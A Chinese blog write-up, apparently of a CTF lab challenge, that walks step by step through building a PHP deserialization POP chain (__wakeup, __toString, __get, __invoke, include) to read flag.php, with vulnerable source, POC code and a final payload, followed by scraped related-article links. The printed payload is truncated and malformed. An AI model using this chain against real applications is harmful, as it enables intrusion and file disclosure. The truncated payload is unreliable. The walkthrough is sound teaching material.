记一次php反序列化漏洞中的POPchain和POC构造实战
来自于橙子科技反序列化靶场
源代码如下:
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>
第一步:找链尾
我们的目的是得到flag,直接找flag这个关键词,发现:
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
注意echo $flag;
,根据提示,flag存在于flag.php中,那我们需要做的是将这个文件include进来;
注意到include($value);
显然这里的$value需要赋值为flag.php。完成这一步的前提是触发append函数。接下来的问题是,如何触发append函数。
第二步:如何触发append函数
向下寻找,发现__invoke魔术方法,这个魔术方法的触发条件是对象被当成函数一样调用,这样的话就会将var作为append的参量并触发append函数。
第三步:如何触发__invoke()函数
既然是要求对象被当成函数一样调用,纳闷我们就要找类似于_fun() _这样的东西。继续看代码,发现:
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
在__get方法中,有return $function();
我们只要将$function的值赋为类Modifier的一个实例即可触发类Modifier中的__invoke方法。
第四步:如何触发__get()方法
了解到__get()魔术方法是用于从不可访问的属性读取数据,简单说来就是当程序调用类里面不存在的对象的时候会调用__get()方法。还是继续看程序,最好是找有连续调用的地方,方便我们进行赋值。注意到:
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
其中line5中,出现了连续调用return $this->str->source;
我们可以将$str的值赋为类Test的一个实例,显然类Test中没有source对象,这样的话就能触发类中的__get方法了。
第五步:如何触发__toString()方法
__toString() 把类当作字符串使用时触发,返回值需要为字符串。
还是在源代码里面开找,找和字符串相关的语句。发现:
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
其中__wakeup()方法中,echo $this->source;
。只要我们将source的值赋为类Show的一个实例即可调用类Show中的__toString()方法。
第六步(链首):如何触发__wakeup()方法
最简单的一集,使用unserialize()时触发
使用反推法整理完这六步之后,下面开始构造POC
首先对源代码进行处理,如下:
<?php
class Modifier {
private $var;
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
?>
删去不必要的方法和语句。
然后进行popchain构造。
<?php
class Modifier {
private $var="flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$mod=new Modifier();
$show=new Show();
$test=new Test();
$test->p=$mod;
$show->str=$test;
$show->source=$show;
echo serialize($show);
?>
得到payload
?pop={s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}
记一次php反序列化漏洞中的POPchain和POC构造实战的更多相关文章
- 实战经验丨PHP反序列化漏洞总结
又到了金三银四跳槽季,很多小伙伴都开始为面试做准备,今天小编就给大家分享一个网安常见的面试问题:PHP反序列化漏洞. 虽然PHP反序列化漏洞利用的条件比较苛刻,但是一旦被利用就会产生很严重的后果,所以 ...
- 浅谈PHP反序列化漏洞原理
序列化与反序列化 序列化用途:方便于对象在网络中的传输和存储 0x01 php反序列化漏洞 在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等. 常见的序列化格式: ...
- Python 反序列化漏洞学习笔记
参考文章 一篇文章带你理解漏洞之 Python 反序列化漏洞 Python Pickle/CPickle 反序列化漏洞 Python反序列化安全问题 pickle反序列化初探 前言 上面看完,请忽略下 ...
- Java安全之Fastjson反序列化漏洞分析
Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...
- Typecho 反序列化漏洞 分析及复现
0x00 漏洞简介 CVE-2018-18753 漏洞概述: typecho 是一款非常简洁快速博客 CMS,前台 install.php 文件存在反序列化漏洞,通过构造的反序列化字符串注入可以执行任 ...
- 应急响应--记录一次漏洞紧急处理中意外发现的挖矿木马(Shiro反序列化漏洞和ddg挖矿木马)
背景 某公司线上服务器意外发现一个Apache Shiro 反序列化漏洞,可以直接GetShell.出于做安全的谨慎,马上出现场应急,确认漏洞.该漏洞存在在cookie字段中的rememberMe字段 ...
- Java审计之CMS中的那些反序列化漏洞
Java审计之CMS中的那些反序列化漏洞 0x00 前言 过年这段时间比较无聊,找了一套源码审计了一下,发现几个有意思的点拿出来给分享一下. 0x01 XStream 反序列化漏洞 下载源码下来发现并 ...
- Java反序列化漏洞实现
一.说明 以前去面试被问反序列化的原理只是笼统地答在参数中注入一些代码当其反序列化时被执行,其实“一些代码”是什么代码“反序列化”时为什么就会被执行并不懂:反来在运营商做乙方经常会因为java反反序列 ...
- ThinkPHP v6.0.x 反序列化漏洞利用
前言: 上次做了成信大的安询杯第二届CTF比赛,遇到一个tp6的题,给了源码,目的是让通过pop链审计出反序列化漏洞. 这里总结一下tp6的反序列化漏洞的利用. 0x01环境搭建 现在tp新版本的官网 ...
- 反序列化漏洞问题研究之php篇
php的反序列化反序列化漏洞又称php对象注入(php Object Injection)产生的问题主要分以下两类: 将传来的序列化数据直接unserilize,造成魔幻函数的执行.这种情况在一般的应 ...
随机推荐
- Java HashMap 详解
HashMap HashMap 继承自 AbstractMap,实现了 Map 接口,基于哈希表实现,元素以键值对的方式存储,允许键和值为 null.因为 key 不允许重复,因此只能有一个键为 nu ...
- 【Azure 应用服务】在App Service中调用外部服务API时需要携带客户端证书,而多次调用的情况下会出现WindowsCryptographicException Keyset does not exist异常
问题描述 在App Service中调用外部服务API时需要携带客户端证书,而多次调用的情况下会出现WindowsCryptographicException Keyset does not exis ...
- 在Avalonia项目中使用MediatR和MS.DI库实现事件驱动通信
大家好,我是沙漠尽头的狼! AvaloniaUI是一个强大的跨平台.NET客户端开发框架,让开发者能够针对Windows.Linux.macOS.Android和iOS等多个平台构建应用程序.在构建复 ...
- 从零开始写 Docker(六)---实现 mydocker run -v 支持数据卷挂载
本文为从零开始写 Docker 系列第六篇,实现类似 docker -v 的功能,通过挂载数据卷将容器中部分数据持久化到宿主机. 完整代码见:https://github.com/lixd/mydoc ...
- maven解决尝试手段
发现原来用的buildBody不好用,百度这个请求有异于其他sdk 关于写身份证接口那边:首先报有两个slf4j冲突,经过查阅,不能包含两个slf4j遂写了exclusion,但是排除不了,要使用** ...
- live555使用NDK21编译出arm64-v8a和armeabi-v7a
一.编译环境 ubuntu环境 NDK21,下载地址链接 live555源码live555源码 二.编写编译脚本 环境和源码弄好后,就可以开始进行编写编译脚本 1 编写arm64-v8a脚本 将下载好 ...
- 10_PCM转WAV
播放器是无法直接播放PCM的,因为播放器并不知道PCM的采样率.声道数.位深度等参数.当PCM转成某种特定的音频文件格式后(比如转成WAV),就能够被播放器识别播放了. 本文通过2种方式(命令行.编程 ...
- Java 学习分享
建议语言入门可以先看看视频,学习网站可以是github,极客时间,infoQ等,然后去看书深入研究学习.学习最有效的方式一定是自己动手写代码,而不是看别人的代码,自己下载Intelli Idea多敲敲 ...
- 为什么说HTTPS比HTTP安全? HTTPS是如何保证安全的?
这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助 一.安全特性 在上篇文章中,我们了解到HTTP在通信过程中,存在以下问题: 通信使用明文(不加密),内容可能被窃听 不验证通信方的身份,因 ...
- 记录--让URL地址都变成了"ooooooooo"
这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助 发现一个很有创意的小工具网站,如封面图所示功能很简单,就是将一个URL地址转换为都是 ooooooooo 的样子,通过转换后的地址访问可以 ...